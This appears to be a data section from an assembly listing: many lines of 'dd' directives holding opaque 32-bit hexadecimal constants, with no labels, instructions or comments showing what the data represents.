dd 0FCF995F5h, 3A0E34CDh, 4BA770F7h, 71E5E86h, 0F04F127Dh
dd 0C74799F2h, 8B9FC500h, 739153CDh, 0BE6600ADh, 0C477C658h
dd 49000FF3h, 7648BF04h, 0E72EB6h, 0E0708C4Ch, 0ED82D302h
dd 423CCB00h, 64391FB8h, 0DD5E009Eh, 0EB0B2387h, 0D801AF7Fh
dd 0B8CAB16Ah, 8D43F4Ah, 0A110073h, 0BF541C37h, 5A07170Eh
dd 681A4BFDh, 947E8A20h, 3F09005Dh, 7C830759h, 0C406C670h
dd 468CF079h, 0AD8516B2h, 66A30229h, 2E05A82h, 780ED03Fh
dd 20B0739Eh, 6E79C025h, 0AC9900BBh, 0F3502FF4h, 31609CF6h
dd 67D2E780h, 8F5C0030h, 0C3794578h, 9800D60Bh, 0EDF57E8Eh
dd 641682Ah, 1F0C3A64h, 2B003996h, 24794671h, 73C755Bh
dd 9E435B7h, 0DD6B41E9h, 23A0EF74h, 6101E2D5h, 91F1B783h
dd 0C06A2FC7h, 375367Ch, 3A636B00h, 0FC058111h, 508B0002h
dd 0B0D5F9EBh, 0E8747F33h, 5F143700h, 95928CB8h, 7696051Eh
dd 442A129Dh, 80BD2920h, 0BA855E32h, 19B5E730h, 65A57h
dd 79620A18h, 7A999D68h, 0C2979B00h, 0A0B36598h, 30798Eh
dd 8662F9C3h, 96665931h, 0F4731E00h, 0E4A45554h, 9ECC0005h
dd 2063CD83h, 99009FC0h, 2DCB3B2Fh, 0C92625h, 1E7E6FAAh
dd 5D2E4470h, 5DA5802h, 0E0608A3Fh, 2A4061h, 817D9901h
dd 68DB6BB4h, 36CAD900h, 3A45ED8Ah, 306203FFh, 0EF101FD1h
dd 0F57BDD98h, 0C8D6D200h, 35A9D793h, 0CFF71DB6h, 0EDD1804Bh
dd 0B8846DC9h, 0C5019677h, 6809AB67h, 74C1E52Ah, 0CE608047h
dd 3E5F1CB0h, 56056488h, 40E61765h, 974A11E8h, 141F3FC0h
dd 0D2C04E69h, 0E81E375h, 0F8F8A062h, 0BA680071h, 0D9F2CFD8h
dd 7900253Fh, 0E2DBD2B7h, 1FB87B39h, 0CF7EBDEAh, 7540A361h
dd 673A256Eh, 18803403h, 0C0B2736Bh, 0A317EABDh, 40A7F0C4h
dd 0E5BE184Eh, 0B7711009h, 7EC3FC01h, 0AF667E4h, 60EAC1C8h
dd 6C8321F2h, 0E9725C22h, 72F7A303h, 8CE7E464h, 80F0C20Ah
dd 7E39023Ah, 2E00E685h, 95A90E0Dh, 5C934Ah, 921F5190h
dd 7BD77EECh, 0ABC34C00h, 8975A17Fh, 0DBA03D4Bh, 9856B781h
dd 0F0E3F9A3h, 0BF00C773h, 0B77395Eh, 0EE763168h, 0B47400F1h
dd 0B90D292Ah, 0BE0044C7h, 0E412425h, 361175h, 3133534Eh
dd 1CC27DF3h, 0E20C1E00h
dd 5B0BB709h, 0AFE6005Ah, 0ECEA3BE7h, 620026FBh, 0DDAA4AA8h
dd 1CFDB2Ch, 0C23D5069h, 0E010321Fh, 0F0EBECFEh, 4700A3BAh
dd 55357868h, 6E7BCA63h, 0BC402C29h, 468460F1h, 87F90E03h
dd 0F0A5C765h, 0C05663B2h, 69BB7024h, 0CE7FEFC2h, 0B41F9C1Ah
dd 42DD8018h, 6A36F0h, 0FA28262Bh, 601A9CDAh, 0A8B8F70Ch
dd 0A75294Dh, 0EF2A1843h, 0F91E01B9h, 0DC711778h, 0CFE8F08Fh
dd 98D12F00h, 0DB82317Dh, 3E24Eh, 0B751085Fh, 5209DC2Eh
dd 0BD45A812h, 56D15B00h, 0E21B69Ch, 161EC59h, 0C0338BE4h
dd 42133C04h, 1E255500h, 0F9FE3EE1h, 5FD100DEh, 0AF09851h
dd 0A44CF7E3h, 0EF2C00C1h, 0E8115B86h, 2F1E0017h, 0DE74C5D6h
dd 56F44BDAh, 55B838C0h, 0B71CB2h, 0C5129B25h, 0B59679EFh
dd 4A21FD1Eh, 6A0501FCh, 876B89E9h, 0FE0E4F0h, 7E3CA934h
dd 1892FF20h, 0DF78C0C3h, 0A4492D0Fh, 0BB3E09h, 0F7E1A78Fh
dd 547BF0h, 5A6330ABh, 0DFBA90F6h, 2400A578h, 0A717B278h
dd 0BB2916h, 7A14113h, 40ABBE8Dh, 80F0A23Bh, 0BCE397E1h
dd 3A0AF27h, 9CB9F53Eh, 0B3886FC8h, 7E0064A8h, 3A0C57F9h
dd 0FAB609FAh, 397D0026h, 27FFB732h, 0D8002F6Dh, 14998AD3h
dd 8BD94Eh, 24DEBD70h, 4B91DB90h, 0FA568200h, 530BC8F7h
dd 0C176ABh, 0C3611E81h, 3070577Dh, 800083B8h, 1AB66507h
dd 76B910Bh, 0B1D2DEE0h, 4F11B7DCh, 8ACA3220h, 3C1F7AE5h
dd 12006C17h, 0C1332A41h, 0F9B800D6h, 0E53F821Fh, 3100E173h
dd 4C441B9Dh, 0D31266h, 0A4846169h, 0C3B999BFh, 53439E06h
dd 206D5Eh, 0F3449D3Bh, 1C4DF5EEh, 619A40Fh, 0F2D6A014h
dd 0C0177747h, 0B8354128h, 6E1C9713h, 0D640ABD7h, 0C119087Fh
dd 319800EFh, 0D5333BA3h, 6C014D1Bh, 69B74ED3h, 0D8E0DFC8h
dd 2F6B83Ch, 224AA0A5h, 0A78096BAh, 1BC1B7E9h, 0DF997900h
dd 40D97A56h, 0F06B3990h, 0E3288B8Ch, 380F016Ch, 806C3ABFh
dd 3EB4584Bh, 0B0DDEAF4h, 0E4E20095h, 4D0D8679h, 2501BC54h
dd 44982128h, 78E8D92Fh, 4C0603C9h, 0B2FB0E0Bh, 511F603Bh
dd 7F5081B7h, 8F408E97h, 4BC1183h, 83D18D2Bh, 0A6C42056h
dd 0BF172870h, 0AF008F96h, 0F21363D4h, 0A89230D2h, 444ED6B1h
dd 0BE76C5FEh, 0BB941A00h, 5266DFA5h, 0D2A300B1h, 75993D64h
dd 3500AAC1h, 694CC954h, 1E9CC095h, 0C04868ECh, 0AB9FBF5Eh
dd 0F9033CEDh, 1E89A98Fh, 0A888D99Dh, 0A569D4h, 0F77BEF42h
dd 0C153ABFDh, 23016D00h, 69830AA0h, 0DB3400F4h, 67DB6C4h
dd 3C000B47h, 5F577A8Fh, 70876Ch, 0CC6B801Dh, 2183D9F5h
dd 673B2D01h, 0A98E4689h, 0B9A1C8h, 0AE7A2647h, 4876AB98h
dd 0DF53181Ch, 3FF04AC0h, 92B494h, 0A7FCADC2h, 0CC1A16C3h
dd 0B060F790h, 0A4A0D618h, 0F9D30127h, 5F838CFAh, 6B81F08Bh
dd 451F0D07h, 0A79E86F2h, 0BFC0956Ah, 3B212FACh, 1F74527Fh
dd 80F5179Bh, 60AFEEDEh, 0B800D4B7h, 0C864B059h, 266DB322h
dd 18B7C5CCh, 0D55B5843h, 0AD060718h, 25A680h, 0A2ACFD4Bh
dd 104664B2h, 0FC1C3Ch, 73925B17h, 4C94CC9Bh, 80009F66h
dd 0B68F5508h, 563A2150h, 17B580ABh, 0D513E81Ch, 0BEDF001Eh
dd 0B99762BDh, 0E900EB6Bh, 70E335E7h, 0C01A1BF6h, 53514C20h
dd 0F0090BBh, 259CF440h, 0F7B5A6h, 9A6EE026h, 7F1ED4F9h
dd 8ED9E100h, 0CAAC02DEh, 6C380119h, 0A4862F6Bh, 9CE0EF94h
dd 1C01470Ch, 0F8676DDFh, 0DD61347Fh, 0F4DD5080h, 0A126BED4h
dd 10BB9130h, 60B9C46Bh, 0AB6205Eh, 821E039Ah, 73CFFF17h
dd 0F6CBC0F7h, 9B772Dh, 0AFC96351h, 60D74DDDh, 0C8AB350Ch
dd 43F2F0B4h, 53FC0110h, 0F79B69AAh, 0E40A40Ch, 53E23C7Eh
dd 4E381700h, 46593F22h, 9D4C6D0Ch, 15F7A09h, 2023BC53h
dd 831789F4h, 8C8D63D8h, 0E96EB8CFh, 4109006Ah, 0C24BB4BEh
dd 321E9AA4h, 0E680A954h, 349E9DEAh, 33F607CCh, 9BA396DFh
dd 0A529FE00h, 9C0042F8h, 0B7DA48D7h, 0F4715E9h, 0A3A071A9h
dd 0C74F00DEh, 541EDCFEh, 0CC976C02h, 8A663799h, 3A58D8h
dd 8350A6F7h, 7873AD1h, 54BA591Ah, 3158030Fh, 0E278D4B8h
dd 0B2001FEAh, 0F43A3E2Ah, 2480F19Dh, 1F7D70F3h, 2FAE4F99h
dd 0B699C00h, 0CE00645Dh, 0B91C9184h, 1969562h, 0D0F93A13h
dd 0E1889E12h, 6174FCADh, 0E17D28C0h, 5662A6h, 9C0C4385h
dd 22388E01h, 0F31AFF00h, 0DC90B8EFh, 471E1C78h, 8BD6A2h
dd 0C73AFC6h, 12005EF7h, 4A34B4F8h, 498869h, 9899DA0Ah
dd 0CBC8571Ah, 0D3CD7100h, 0F43CEB84h, 0D56701FAh, 4D991DAFh
dd 0E1A9E4BEh, 5F646160h, 33C6EDFh, 0E945582Ch, 94A8FC08h
dd 26006D7Bh, 0BE827CADh, 7A444Ah, 96FE6F8Dh, 63259D7Eh
dd 32C9F100h, 0EF3B7BC5h, 0E1210C2Ch, 88DCD348h, 6E005CEEh
dd 248F4C5Ah, 0E99351h, 6BC4765Fh, 0EDC2A9Ch, 3AD4A500h
dd 483547D8h, 1DEA027Ah, 3494B924h, 0BB040AE0h, 571B8200h
dd 55B14F78h, 769826A8h, 58D00ADh, 0D70EE6FCh, 0AC10BD00h
dd 48F19C14h, 0A21303E7h, 1AF3C0B9h, 44AE9EA8h, 968C7600h
dd 8DC735F7h, 0D2190006h, 0A9F3B463h, 0D53B37DBh, 2F5C80E8h
dd 0D1C7648h, 541400B5h, 2DEF242Bh, 0F63AA9DFh, 0CB838004h
dd 0DC688AA4h, 0C6FD03B8h, 12AE543Ch, 9579F7E0h, 0C3FBD400h
dd 0F36C80E7h, 0C5E807A6h, 210FA4h, 0DB8B3BE9h, 48B805E6h
dd 58C1B800h, 79D19B98h, 0A95600A7h, 0CC50B9DEh, 6B7D4643h
dd 8690D012h, 4B03800h, 6DBF36h, 89F59C1h, 52C3745Dh, 1337E700h
dd 0C9EA7DC2h, 801000D2h, 0D5E178B8h, 6300980Eh, 407524A9h
dd 7D5129h, 5DAF5C49h, 0BB6B95D4h, 0B992E100h, 590CB3A7h
dd 90CB860h, 67227B13h, 0DD54B580h, 3C00269Fh, 0A45EC570h
dd 0E8F3F9ACh, 277003h, 16EE67D4h, 0D6CCDB13h, 802BCE3Bh
dd 0E5F011B9h, 6ED3C8h, 373CDF96h, 3C4BEF9h, 0AC049702h
dd 0E0CC2D90h, 78C87Fh, 11257013h, 0CB68F372h, 830312F6h
dd 2F69BF44h, 656C827h, 0A5D400DEh, 0F081F168h, 8E00853Bh
dd 16BDFC5Eh, 985A3Ah, 9A1913A8h, 0D9458C4Eh, 64888512h
dd 416FB100h, 748362D1h, 0C57CA2h, 0CBE297F0h, 0A9090460h
dd 47EBE800h, 0C544D686h, 0F493006Dh, 4DE3A466h, 7F009155h
dd 0E7C0B19Bh, 5230A56h, 1C9218DBh, 6E8582F8h, 0D59E7C40h
dd 0A9037C00h, 0A439EDC4h, 4A8D0132h, 0E9B8D86Fh, 237A601Bh
dd 14E8F38h, 78A813FBh, 6BD44F66h, 93C7008Eh, 2F8159D9h
dd 5600148Ah, 322874ECh, 76F92AC4h, 0A8CD00CFh, 0F55339F7h
dd 0F2E0E97Ah, 9B00C3E0h, 1ADD9D23h, 3BF9EBAh, 0BCEAF11Bh
dd 0A190097Ch, 9100CA54h, 20AF1A2Eh, 0D94669h, 0BA3599A5h
dd 1F5925AAh, 674F8A00h, 0E2B0D509h, 0D9B40083h, 0C5A94DC6h
dd 0B6015B4Ah, 43EB8D6Fh, 96C44CD3h, 5110258h, 7BFD324Eh
dd 0DC553441h, 701C5FCh, 5DA290F1h, 642143E1h, 3004E0h
dd 93D4B216h, 0BB3CEE87h, 5E0ADC00h, 0F27CE926h, 34CA046Fh
dd 0C09DC03Bh, 5816D522h, 0BDC66600h, 0F3E7A852h, 64079D2h
dd 22287136h, 0D500A609h, 83A27579h, 74E3554h, 32CF9A29h
dd 8799E0FCh, 7800BF2Dh, 2009C8F2h, 3EF5FFh, 4A9E15ABh
dd 7D0C68C6h, 8C72F77Fh, 0FC3D9073h, 362680DEh, 0F9DFF07Eh
dd 88AA0071h, 53F28AE5h, 0E24A9313h, 5D0181FCh, 0D7828CA2h
dd 0A498303Eh, 334CF300h, 8C992AAh, 0F9310069h, 3418A201h
dd 3C00057Bh
dd 9946DD19h, 14ACF07Ah, 0ECCA3B24h, 2BDD50h, 43ED8E73h
dd 199A14E7h, 5AAEC00h, 258E587h, 63F9076Eh, 704528A7h
dd 0E93CD4FDh, 0EA75AE00h, 27BEBC19h, 4E060005h, 0B58D6D12h
dd 0B2006441h, 4DCD1A15h, 4AAD1Fh, 799EC20Ah, 6295A3C5h
dd 0F79CDB01h, 27B08621h, 0ABF1C740h, 47F6000Ah, 0A3EB4F28h
dd 1C0096B2h, 0BF7B6D76h, 0C3AC54h, 0D0DE9C9Ah, 0F30C3B44h
dd 10B5700h, 7473FDCBh, 0FA5300CDh, 77313A08h, 9B7EF326h
dd 48C67B00h, 0C92F54CAh, 0C0EBB07Fh, 61FBE682h, 1116BDE4h
dd 6C008DFDh, 4380EF31h, 84671FBEh, 141DF823h, 5E704077h
dd 6FE38692h, 47DBE600h, 4D7276D5h, 9760000Ch, 0E94B43ADh
dd 1E3E1ABDh, 0BAEE0013h, 0D735DFB3h, 4C52004Fh, 618590C3h
dd 5B00348Dh, 0F887EE4h, 7E804D4h, 0F4EB7C63h, 30B091C9h
dd 41C070EFh, 0BB3EF812h, 1C00681Eh, 0D2AFF684h, 0D4A83DCBh
dd 0ED554000h, 0D80BCE19h, 7B185000h, 0AB487E06h, 4F714D4h
dd 2400EA5Eh, 0D9CCEFA4h, 4D4C2809h, 73F0027Eh, 40695BACh
dd 989D4898h, 656C18A2h, 938570EDh, 8394D207h, 0E3809669h
dd 32E4A8Ah, 0B30D6789h, 0D3D87902h, 0B0C19104h, 59517280h
dd 0B85C9C0h, 2DBE03C2h, 5B68D600h, 920065E9h, 0D7D48136h
dd 42BC6h, 0B4784ACEh, 0C1763115h, 0A900F27Dh, 1A23CD17h
dd 6CA4C4h, 0CFD978Ah, 757D24FEh, 3CC74Ch, 8C652BA1h, 0E9FBE1h
dd 0D354596Ch, 0B10E196Bh, 2031F700h, 0FEFC1DD1h, 652E00ACh
dd 0AB7C146Ah, 0F407DC61h, 0EAE16468h, 35CAAA80h, 0D95200EBh
dd 3CE72944h, 0D7006511h, 2A50F9F5h, 5C437DB2h, 6D0F34DDh
dd 8500805Dh, 0C8FFA0B1h, 0E1520C00h, 0BAC51B81h, 75CF009Fh
dd 34A3E917h, 8400C0BFh, 0B23BEB0Bh, 15B9B0Dh, 5D7A2A82h
dd 0F0F3F7B4h, 0A007B5C4h, 0CECFDA27h, 7FFF0CB0h, 2B88006Bh
dd 2DC22A1Ch, 0DD5CF672h, 69540F56h, 8C0C8017h, 0E1963ABh
dd 0B7C233D6h, 0AD890180h, 0C60F436Ah, 7834CDBh, 0DC207D10h
dd 3CD15A62h, 0C4F054BEh, 80BADA18h, 14BF4689h, 0C30D6100h
dd 0BB6CA363h, 3C5B58A0h, 20AA1000h, 162D0C87h, 19696200h
dd 0CD269B7Dh, 0D0290099h, 288BED6h, 0E00372Dh, 4330B521h
dd 0BA05ABh, 0CC407850h, 8E4C8107h, 0B458A4E6h, 457A006Dh
dd 0AA89CD2Ch, 8B7E00E0h, 902BE1B1h, 0C8003DB7h, 6A87C6E4h
dd 795485h, 0FF0A63E9h, 82D3E8B9h, 0AF3F8400h, 0F767F22Bh
dd 75343A7Ah, 0F3630E80h, 0D969C895h, 2F8B6800h, 837F4998h
dd 34AA01D0h, 0F111FB35h, 2C4FC4A5h, 0E2287A00h, 43730A07h
dd 0F8E0EEh, 42888EC7h, 362BE5E6h, 0DA41D00h, 0FD668310h
dd 54C91E65h, 0CDDDC6E7h, 7D00486Bh, 6C44B080h, 4A9213h
dd 99E225A1h, 855ACB61h, 7839D4E7h, 0E7A3AD0Ah, 200E400Bh
dd 7F4A6386h, 37B4B894h, 5E72488Bh, 78ADDE00h, 0AC7536BAh
dd 1C70D100h, 0C05E5366h, 68F507A7h, 0C020B9B8h, 0D7C7791h
dd 0A4FFA500h, 0ABD93318h, 0E23D3BE4h, 21E5D580h, 0E055D326h
dd 0FC6C100Bh, 0A3C50767h, 1EE3B701h, 1C11CF8h, 0AF7F514Eh
dd 0E00424DBh, 0BB504916h, 0E507848Ch, 0BDAE8D23h, 0B9EA2E0h
dd 3FB7FAC9h, 0FC807FD0h, 3968E59Ch, 513E6BD8h, 0C6AEE005h
dd 0BA4A20h, 8E422844h, 0A3F3B6DEh, 179E0A0Bh, 80BC0FB2h
dd 7C5ACD56h, 0A56A008Bh, 0C8D69A70h, 30080EAh, 0F6A05E37h
dd 0E4FBBDh, 8BDA2D78h, 47986BB0h, 0D0074A00h, 0FE8A4086h
dd 0B7CC002Eh, 5A6F7AB6h, 310042B3h, 0AB168227h, 0E640D6Ah
dd 0F0E6DFF1h, 0F3EFF40h, 2007BB54h, 0DB2476D6h, 8C97B3A0h
dd 81090317h, 25E829F6h, 18E6BFE0h, 0DA007577h, 0A82E243Ah
dd 1EE4922Ah, 0C09A66D3h, 0B0947AC7h, 15001899h, 0C59F07ADh
dd 52EF16h, 813B173Ch, 0F58CC3C1h, 20E8F007h, 56705751h
dd 164F707h, 0EEEABC12h, 43DDAC55h, 0FA00F196h, 7759A89Fh
dd 2A25ABh, 0EA6FE87Bh, 7AA40122h, 2C315E00h, 9ACB450Ah
dd 284B00D0h, 0BBE18B17h, 1B003F67h, 0C9016171h, 0C7855EC7h
dd 0A0C0CB84h, 0E7A4D456h, 0EE913300h, 872F7B9Bh, 238E3041h
dd 632AA190h, 9AEC511Dh, 2039F5C7h, 0B5FF72A0h, 0B7C0F5Ch
dd 0BBFA0EFh, 0D00E2C91h, 0B2507EABh, 4B08481Ch, 0E8D0958Ch
dd 0FDB887h, 0B929854Eh, 0F0CBB2E1h, 6C05DA00h, 4D3B47E7h
dd 907B6536h, 0C7848044h, 0E800C848h, 0CC04A1CEh, 5C865480h
dd 900E5FEh, 0F44FC723h, 4100D9A7h, 0F5D5220h, 0B56A0Bh
dd 0D1A97C80h, 0D8B674B9h, 0EA0013FAh, 0E12053CEh, 0B7F577h
dd 7E3CC978h, 68F01BBh, 399ACF00h, 0CB99976Fh, 0F277F1Ch
dd 3AA53D41h, 5FFAF661h, 9BC4D824h, 96395Ch, 1D1BE70Ah
dd 0C7D14Dh, 0AA969D6Dh, 0C8CD6F22h, 3F578005h, 65C0A1A8h
dd 0F41F55A9h, 0CC7A0124h, 56E44451h, 21B88048h, 0F95F33D8h
dd 7EC000B0h, 80133FF7h, 4900B389h, 511A81ECh, 0A86FAh
dd 4F42D015h, 1F7F5D26h, 53DE6A00h, 72B175E7h, 740E0A4h
dd 0E202BD20h, 789CD03Eh, 0BB0133FDh, 98A8F719h, 94E82986h
dd 89002h, 0DD911F3h, 8560A04Bh, 0B71B1600h, 2D454993h
dd 0A772094Ah, 57005370h, 0AC3E25BDh, 0C1D1FD00h, 4D2EEA56h
dd 4CFC1E7Ah, 9AC5407Fh, 34C9A0BEh, 22F50700h, 0ED5C80E9h
dd 0FE920DABh, 604211CAh, 3C01A348h, 0CF8E459Fh, 0A4209BBEh
dd 367A3066h, 1D43C18Ch, 9002175h, 0D1CFE091h, 0FA9BB1h
dd 48DE858Dh, 0F260FBE8h, 0A09431Ch, 0CE102F00h, 1D50AF95h
dd 0E874C5h, 0F48C064Ah, 400065A2h, 1F23DDB1h, 0ECFD13h
dd 0B38EEA0Ah, 1DC5262Eh, 1E63F807h, 8C5AC99Eh, 0E6B9AB00h
dd 1081676h, 0B3572250h, 40DDD088h, 51800D94h, 530E18E4h
dd 84FFB9h, 7F140AE8h, 1A3B86Fh, 19330AEh, 0C0ED54F8h
dd 19009E3Ch, 0E9904759h, 0A45E2Ah, 0FDA3E5F9h, 20217061h
dd 726A5709h, 7710027h, 7B46279h, 0A9D0234Ch, 3D29500Ah
dd 0AC0FA79Dh, 0A081E35Eh, 4515C52h, 414800F6h, 0D6437135h
dd 0B75C1DAFh, 5A3900E5h, 0F87BFCCDh, 0F4336080h, 1D27FE37h
dd 0F2FD0900h, 0B85543E3h, 0A9AB1C03h, 1E8680F9h, 5EFF2898h
dd 0B1E60B07h, 0EF604C05h, 0F9DD01h, 0CA40082Eh, 92CECD57h
dd 5A10F500h, 0EAEDA0A6h, 0A8A400A2h, 1C8D2E3Ch, 7400FCDBh
dd 2B7D7386h, 0C960E6h, 396F0AEh, 0DC72FD65h, 0FF3D40F4h
dd 9DEF8092h, 1DC45175h, 73FB001Bh, 584A30Fh, 46004A04h
dd 0E9C09B2Dh, 0FF5F42CDh, 33416C21h, 6BC0EF67h, 0A9FF3C1Bh
dd 0FCB7A79h, 0AF32B59Ah, 4D00760Fh, 0BA7D29E3h, 9DC99438h
dd 8A80BBDBh, 91B322B1h, 312C096Ch, 7C80056Fh, 0FDF2187Eh
dd 0A378D8E8h, 8CE4D100h, 0E7B1386Ch, 0FF860013h, 57ACAF59h
dd 14382298h, 164F9EBAh, 41E0E2C0h, 0B08EED8Bh, 0C3D400ABh
dd 0BD815D33h, 4CB8FADBh, 19F270F5h, 0A741FB00h, 0F620A6C8h
dd 8A960E6Ch, 2D8049CDh, 3E618F71h, 117F4800h, 0E23B886Fh
dd 0AD5400F7h, 4E891E9Ch, 29001B76h, 8F7844EAh, 769C92Fh
dd 0CEE50421h, 3301F03Dh, 1A00ECE3h, 0B3FC6609h, 4CA22AD6h
dd 400050Eh, 3312C394h, 6E00130Dh, 0FCED2D4Eh, 2E3786F8h
dd 3F53931h, 16102E3Bh, 6605A0E0h, 303E0200h, 1374FFC4h
dd 0A6DA00D5h, 167ABD6h, 7676776Dh, 41467500h, 50FB4CB6h
dd 0F7440059h, 65D038EDh, 0C307E453h, 0AD512156h, 448534E0h
dd 3E9A0129h
dd 69E5BF50h, 0CC88DCFEh, 400D15Ch, 0DBDD670Fh, 2C8128C0h
dd 443242Eh, 0B6050096h, 864F741Fh, 0F8BC9900h, 0F7CFAE97h
dd 0E6BA1E81h, 420640DCh, 62B4B6B0h, 9FF3D005h, 4CC01865h
dd 808A2Ah, 10E6A647h, 0F576DEDCh, 3042B001h, 8D8F6E1Eh
dd 3DD76BFCh, 0AF8089E3h, 91EC6227h, 512CC802h, 85009CDEh
dd 102AE09Ah, 785B0768h, 0F0D919B3h, 88309CE9h, 0E517DE03h
dd 0E016AB36h, 16029966h, 0DAAE47h, 2F28CB46h, 6F065633h
dd 0B91012C7h, 76AA04CEh, 0C7A3FE85h, 6CF18078h, 0EF1C3DD2h
dd 0B5C0FB8Bh, 5092BDC3h, 388D01EBh, 0C2752A91h, 0B230978Ch
dd 7B890100h, 980D81F1h, 0BDC44CFAh, 0E800216Fh, 0EB95DC88h
dd 8E68030h, 0B04E1CECh, 2A400E4Ch, 3B0004D8h, 0A456E91Bh
dd 599C2B02h, 0A061EB66h, 18B56324h, 81D6176Bh, 360400A5h
dd 3167AEADh, 0F5316060h, 2E4BDEE3h, 1473EDh, 447F5F85h
dd 8A00CA75h, 0EFD44D3Fh, 6B43EEh, 2F20DC8h, 0E8948C4Bh
dd 4F7C0600h, 403085FEh, 5FA5007Bh, 3FD3C5D8h, 93005C7Fh
dd 0B0F04AF6h, 2865956Ch, 0CCB9E0h, 30CCA81h, 9B268092h
dd 550A1A01h, 0F8823727h, 764B6C8h, 12B33BF3h, 6EA0F0FBh
dd 2707A968h, 979DA3FFh, 42A1C610h, 40C7380h, 859EE789h
dd 1225C034h, 0F817F901h, 8200159Fh, 45E7BBABh, 1EE30071h
dd 5E3A6D05h, 0C6E63EB7h, 0D9F0A30Bh, 9294A3D3h, 0E214E849h
dd 0C8DE1EC0h, 784D40E9h, 9B875C74h, 28A64833h, 91C3B826h
dd 49D00C9h, 134FBF77h, 601409Fh, 0A5445848h, 0A8413235h
dd 2D6062F1h, 0DDAF012Ch, 398C2BE3h, 848806Bh, 0EF9AB5E9h
dd 1DD4007Fh, 0E6282FE4h, 0A0986A27h, 0C6809100h, 15896FE3h
dd 0BAAF00B2h, 0BF7C63EBh, 4C010267h, 14AB7593h, 0FEEC2DC4h
dd 3838C24Bh, 0E8A169CDh, 0DC9AA4E9h, 0E403228Ah, 559F1817h
dd 89A7B01Ch, 93010074h, 289C813Fh, 0CE18E92Ah, 0BA15D7Bh
dd 97E3008Ah, 99E53252h, 0A00B121h, 3A930A1h, 0BB6E06h
dd 0F43ED8Ah, 0F612EF08h, 6FC4D5A0h, 0E5802B50h, 807BD70Ch
dd 76115069h, 4431005Dh, 0DBB2944Bh, 0B9009891h, 63CA163Ch
dd 0A1E42Bh, 0C888CF6Ah, 0C01AFBBh, 44361F00h, 537B765Eh
dd 47120F68h, 0DFE0833Fh, 1C6E7409h, 0D54DA800h, 68A33B25h
dd 71150038h, 79774316h, 0AB05DB17h, 4CCF913Ch, 214B202Ch
dd 2D9C9BC8h, 55AF8440h, 2387E7h, 7BBDF30Fh, 0BC0979E9h
dd 0D0A64107h, 45931D6Fh, 6E680026h, 0B712B124h, 18003B33h
dd 5399A4C4h, 1CCD6F82h, 5277DA68h, 88CC00DFh, 0D6AA844Fh
dd 9EF27C03h, 0F3177531h, 47080007h, 5063141Bh, 80E27432h
dd 0F6D5F500h, 0CC35B2D4h, 7F0930DCh, 0BABD2D28h, 74C6773Ch
dd 2B38480Eh, 0E1D24062h, 0CF2ADCh, 1F6EF875h, 58238CCBh
dd 0BB39F600h, 14F274BFh, 30C40042h, 864A3525h, 1800F423h
dd 0CA57C50Fh, 0A19E810h, 0EEAEED3h, 1B28E080h, 8523E756h
dd 618E41E5h, 0C917C484h, 807E6B00h, 6C2B19F3h, 0F4414CFh
dd 8100F0C1h, 8A75256Eh, 0E575405Eh, 0B924D300h, 0FEA3D6ECh
dd 5578D1h, 681778BDh, 29B68CAAh, 7E3CB700h, 0B472A73Dh
dd 4400738h, 0F326F91Bh, 5AA82AB3h, 0B9291A6Dh, 0DD6120FCh
dd 3C0C3F31h, 0C691A000h, 0F6F14180h, 0D08CA0BEh, 90D50F3Eh
dd 0A48127ECh, 30A89E7Ah, 9818B044h, 2A18AA6Dh, 3CC7445h
dd 0DEF1180Fh, 6800ECBCh, 0EB698367h, 9C199Dh, 9AFA43C8h
dd 0CC3117FCh, 0C0A9DB00h, 0E6C2412Ah, 430F000Eh, 95705A8Ah
dd 0A007A3FDh, 0F2F1F918h, 0E6474E6Fh, 70B32Ch, 97D5F730h
dd 8E3F03EFh, 5B5FB900h, 48BF2039h, 11D200B4h, 0D0EE0B6h
dd 0BB037D35h, 29C92682h, 0B7400CBDh, 0B8B0304Ah, 1A601F24h
dd 0B30BA18h, 0DFC100D2h, 960AEFE7h, 420067C8h, 4F3CC20Fh
dd 7EF1EE7Bh, 4E0900DCh, 0F9BF725Fh, 0E0E8E7CAh, 0FA007CEAh
dd 71A5611Fh, 8A3E86h, 560AEC4Ch, 8FDB9142h, 5F9EA605h
dd 24300B38h, 15314A44h, 1CBF926Ah, 98A27600h, 3CDFCFDBh
dd 8818D955h, 0E0BAF968h, 461C4516h, 30EEAF2Bh, 90EAA984h
dd 734B3660h, 92F3704h, 9970DCF1h, 5A8C5A56h, 477EACD6h
dd 24606F18h, 0F660882Ah, 0DD105485h, 89B1EEAEh, 50FD0868h
dd 0EE0DB836h, 0FA782B5Fh, 0C7698430h, 0B6315893h, 0DD6A12FCh
dd 0DC2A076Eh, 4FD0ACAFh, 1529D13Ch, 0C23C0B0Fh, 908F3D91h
dd 0C6585624h, 4817AFD8h, 82404F52h, 30D7AD49h, 1A1D9676h
dd 34AB585Fh, 9262E984h, 69821660h, 0F14F420Ch, 0F0C3027h
dd 385860F8h, 570C04B2h, 9CA81E20h, 82444E52h, 3390D421h
dd 425DF097h, 80A265CFh, 612B189Eh, 0D686B857h, 48906718h
dd 71F670B9h, 0F600D847h, 0AF41D92Ah, 8FE8FF96h, 7FB8F3E2h
dd 4032D231h, 108FF120h, 0B88205F9h, 2E003EA5h, 528F3777h
dd 29C29813h, 922E7EF2h, 0DE28C044h, 7135D487h, 0A0856C29h
dd 217CA311h, 8A40B61Ch, 0D09C8999h, 1440D512h, 2FDC3CFDh
dd 2EB0A016h, 0A715787Ch, 2B18498h, 56595857h, 41390036h
dd 0DD6E52CFh, 0BD48A38Eh, 0F04A30D0h, 9016B3B8h, 258C2420h
dd 75DA0940h, 81CF4804h, 21086FCCh, 67F2E8h, 64A2C10Ah
dd 38137663h, 17B0CEB8h, 60CBEE50h, 3C4DB83Fh, 74B72437h
dd 4C93A820h, 0B940FCE0h, 0A964A35Dh, 445D377Ah, 6CDC8CF9h
dd 80C5616Dh, 22420C1Eh, 3611C0F8h, 0C254C9B3h, 63FF1628h
dd 9C0D9460h, 7B6F4404h, 0D130DA6Bh, 554C36FAh, 0CE5850FDh
dd 0E2585963h, 1870A57Ch, 7248B239h, 1F47FE8Fh, 0A9E389D6h
dd 30D360D4h, 0AA60EE07h, 2D17F658h, 214AE47h, 552541B7h
dd 2C43ED6Fh, 8BCC9FC3h, 0F2680FF4h, 28C6ACEBh, 76C43FB6h
dd 73B0AF0Eh, 0CCE5495h, 315A26C6h, 66925614h, 0AB20A068h
dd 0E2521415h, 6012ACCCh, 0ADA014C8h, 69899843h, 5D1EE503h
dd 2165809h, 0E6F002B2h, 40B48362h, 24101460h, 97A03863h
dd 5C311F8Fh, 0A53640B5h, 30E6A707h, 2EFF0F45h, 0CD144378h
